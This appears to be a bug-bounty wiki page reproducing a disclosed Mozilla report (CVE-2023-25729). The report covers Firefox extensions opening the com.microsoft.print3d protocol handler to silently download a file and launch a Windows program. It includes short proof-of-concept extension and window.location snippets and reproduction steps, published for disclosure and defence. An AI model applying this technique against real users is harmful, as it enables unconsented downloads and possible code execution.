Skip to content
RCE Disclosed report Intermediate CVE-2023-25729

Extensions are not prompted before opening external schemes, leading to security issues

A Firefox extension can open a window with the print3d protocol handler, causing the browser to download an arbitrary file and attempt to open it with a Windows program without user consent. An attacker could use this to download and potentially execute malicious files.

Vitor Torres Follow

Originally disclosed on Mozilla

  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 4 months
Text
Created attachment 9295918
Mozilla Add-on to desmontrate the attack

VERSION

Firefox Version: 105.0 (64-bits)
Operating System: Windows 10 Pro Version 21H1 (Build 19043.2006)

VULNERABILITY DETAILS

This report covers an extension who could abuse default protocol handlers acceptance from the browser
to download any arbitrary file and tries to load with a windows default installed program.

Impact:

An extension can create an `obscured` window using the protocol print3d (default accepted by firefox), which
leads to the user downloading any type of files from an URL to the system and try to load this file using print3d software on Windows.

Here in this report, I'm covering the usage of the print3d protocol as an example but it could leave a door open for many more cases.

The extension can run things for the user anytime, from user clicks, user installed actionss and many more events, so i'm using this as example.

In this report I'm gonna use the extension to inject code on the DOM with a custom event and when this
custom event is called, the content.js file sends a message to the background.js which opens an minimal window
with the protocol handler and closes itself right after, obscuring what is causing this to download files and
the program on windows popup trying to load this file.

Impact: Downloading any type of files without the user awareness and possible load/execution of arbitrary code on users' systems or allow access to users' confidential information if the attacker goes further on the protocol to microsoft program which the Firefox accept as default and Chrome does't.
This protocol is not handled by Chrome because security issues too;

My example was just to demonstrate it can be obscured and abuse this or other cases with protocol handlers but it could be as simple as:

browser.action.onClicked.addListener(async () => {'
  let window = await chrome.windows.create({url: "com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe"});
});

or

window.location.replace("com.microsoft.print3d://https://github.com/git-for-windows/git/releases/download/v2.37.3.windows.1/Git-2.37.3-64-bit.exe")

You can see the download file at:

Mitigation: Avoid the protocol handler com.microsoft.print3d as default accepted

REPRODUCTION CASE

1. Install the attached extension, the extension does not require any permission;
- about:debugging#/runtime/this-firefox
- Load temporary extension
2. Visit any page;
3. Once the extension reveals the new window, observe the interaction;
4. The user downloaded a file and tried to load it without consent;

Ps.: We could just not use the add-on the place on the site and use window.location.replace of something else

CREDIT INFORMATION

Reporter credit: Vitor Torres <https://github.com/vtorres/ or [address removed]>

The original report as published on Mozilla's Bugzilla, by Vitor Torres. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely Firefox automatically accepts the print3d protocol handler without prompting the user, allowing extensions to trigger downloads and program launches.

Impact

An attacker could download arbitrary files and potentially execute code on the user's system without their knowledge.

What the attacker needed

Victim installs a malicious extension; Firefox on Windows; print3d protocol handler installed

The fix

Firefox should not automatically accept the print3d protocol handler as default; it should prompt the user before opening such external schemes.

How it was found

  1. Install the provided extension (no permissions required) via about:debugging.
  2. Visit any web page.
  3. The extension opens a new window using the print3d protocol.
  4. The user's system downloads a file and attempts to open it without consent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A browser extension can use a special link (like a web address starting with 'print3d:') to make Firefox download a file and then try to open it with a program on your computer. The user is not asked for permission, so a malicious extension could silently download and run harmful software.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.